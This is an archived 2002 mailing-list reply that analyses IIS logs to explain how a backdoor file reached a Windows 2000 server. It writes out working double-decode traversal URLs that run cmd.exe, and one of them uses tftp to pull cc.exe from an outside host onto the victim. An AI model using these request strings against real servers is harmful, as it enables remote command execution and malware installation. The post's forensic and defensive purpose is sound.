Re: Can anyone identify this backdoor?

From: Matt Scarborough (vexversaat_private)
Date: Thu Jul 11 2002 - 21:25:54 PDT

  • Next message: Pavel Kankovsky: "Conclusion: TCP port 139 probes"

    On Thu, 11 Jul 2002 10:09:28 -0500, "Matt Andreko" wrote 
    
    > I have been asked by many to see the logs.  I have also posted them to
    > the website at http://www.criminalsmostly.com/~mandreko/logs.zip (didn't
    > want to post a really really long post)
    > 
    > I appreciate all the responses I'm getting, I'm finding out more that I
    > did not know about this little file.  I'm mainly trying to figure out
    > how it got there, and where it came from.
    
    On an unrelated note, this server is Windows 2000 and not vulnerable to the
    HK.EXE exploit (patched by MS00-003.) Richard Bartlett's descriptions of the
    toolkit seem a likely explanation.
    
    As to how cc.exe got there, the logs referenced above show the server
    vulnerable to the double-decode bug (patched by MS01-026.)
    
    For example
    http://>/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: 
    will leave a 200 response from IIS 5 in the logs and actually transfer the
    file CMD.EXE to the attacker. This behavior is a change from the Unicode bug
    (patched by MS00-086) which would have returned a directory listing to the
    attacker.
    
    Additionally, the familiar
    http://>/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+cmd2.exe
    will leave a 502 response from IIS 5 in the logs, and output to the attacker
    
    CGI Error
    
    The specified CGI application misbehaved by not returning a complete set of
    HTTP headers. The headers it did return are:
    
            1 file(s) copied.
    
    The attack URLs above sent to a double-decode bug vulnerable server are
    consistent with your ex020522.log
    
    #Software: Microsoft Internet Information Services 5.0
    #Version: 1.0
    #Date: 2002-05-22 12:05:49
    #Fields: time c-ip cs-method cs-uri-stem sc-status 
    <snip>
    12:05:49 212.179.250.122 HEAD /scripts/..%5c..%5cwinnt/system32/cmd.exe 502
    12:05:52 212.179.250.122 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe 200
    12:06:55 212.179.250.122 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe 502
    12:07:20 212.179.250.122 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe 502
    12:10:51 212.179.250.122 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe 502
    
    As such, the attack URL
    http://>/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+tftp+-i+<IP_ADDR>+GET+cc.exe+C:\winnt\system32\cc.exe
    could have transferred the file cc.exe to the victim server using TFTP.
    Since you are not logging cs-uri-queries we may not be sure what commands
    successfully returned the 200 or 502 responses.
    
    As preliminary guesswork only, most of the other logs indicate automated
    tools (several requests within the span of a second or two.) The compromise
    *seems* to have been mounted from the same ADSL netblock. Inspection of the
    logs *seems* to reveal an automated tool first, run on two successive days,
    followed by manual attack --- all originating from that same IP block.
    
    Matt Scarborough 2002-07-12
    
    ----------------------------------------------------------------------------
    This list is provided by the SecurityFocus ARIS analyzer service.
    For more information on this free incident handling, management 
    and tracking system please see: http://aris.securityfocus.com
    



    This archive was generated by hypermail 2b30 : Fri Jul 12 2002 - 15:17:41 PDT